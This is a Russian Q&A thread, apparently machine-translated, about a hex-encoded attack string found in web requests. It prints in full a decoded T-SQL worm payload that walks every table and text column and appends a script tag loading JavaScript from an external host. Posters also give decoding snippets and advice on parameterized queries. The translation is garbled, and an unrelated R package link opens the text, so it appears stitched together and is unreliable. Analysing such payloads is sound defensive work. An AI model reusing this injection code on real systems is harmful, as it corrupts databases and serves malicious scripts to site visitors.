Пакет RecordLinkage: https://cran.r-project.org/web/packages/RecordLinkage/RecordLinkage.pdf
Ниже декодируемый SQL, который они пытались продвинуть:
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Код, когда расшифровано от шестнадцатеричного числа в символы, кажется, проходит все Ваши таблицы базы данных, выбирает все столбцы, которые имеют тип текста/символа, и в конце каждого значения этого типа добавляют злонамеренное выполнение сценария от http://www2.s800qn.cn/csrss/w.js
. Теперь, если в Вашем веб-сайте, у Вас будет по крайней мере одно место, где Вы не выходите из текстовых полученных данных из своей базы данных, пользователям Вашего сайта выполнят этот злонамеренный сценарий на их машинах.
Выполните это, например, в mysql:
select CAST(0x44...72 AS CHAR(4000)) as a;
и Вы будете знать. Ishmaeel вставил код.
Это - червь SQLserver, не целенаправленное нападение.
Я думаю, что у нас было это нападение прежде. Это пытается вставить <script>
тег в каждом поле в каждой таблице в базе данных.
Это - сценарий пипетки рекламного программного обеспечения, созданный для засорения базы данных с <script>
теги, которые обнаруживаются на страницах. Это кодируется, потому что большинство серверов взорвалось бы, если бы Вы пытались продвинуть тот спам через URL.
Большинством вещей как это являются случайные нападения попытки, в которых они поразят что-либо querystring, но это могло бы быть целенаправленное нападение. Протестируйте свой сайт, чтобы удостовериться, что он не позволяет никакому SQL от querystrings выполниться. Просто использование параметрических запросов должно покрытие Вы.
Самый простой алгоритм Python для расшифровки шестнадцатеричного кода является этим:
text = "4445434C415245204054207661726368617228323535292C404..."
def getText():
for i in range(0, len(text), 2):
byte = text[i:i+2]
char = int(byte, 16)
toPrint = chr(char)
yield toPrint
print ''.join(getText())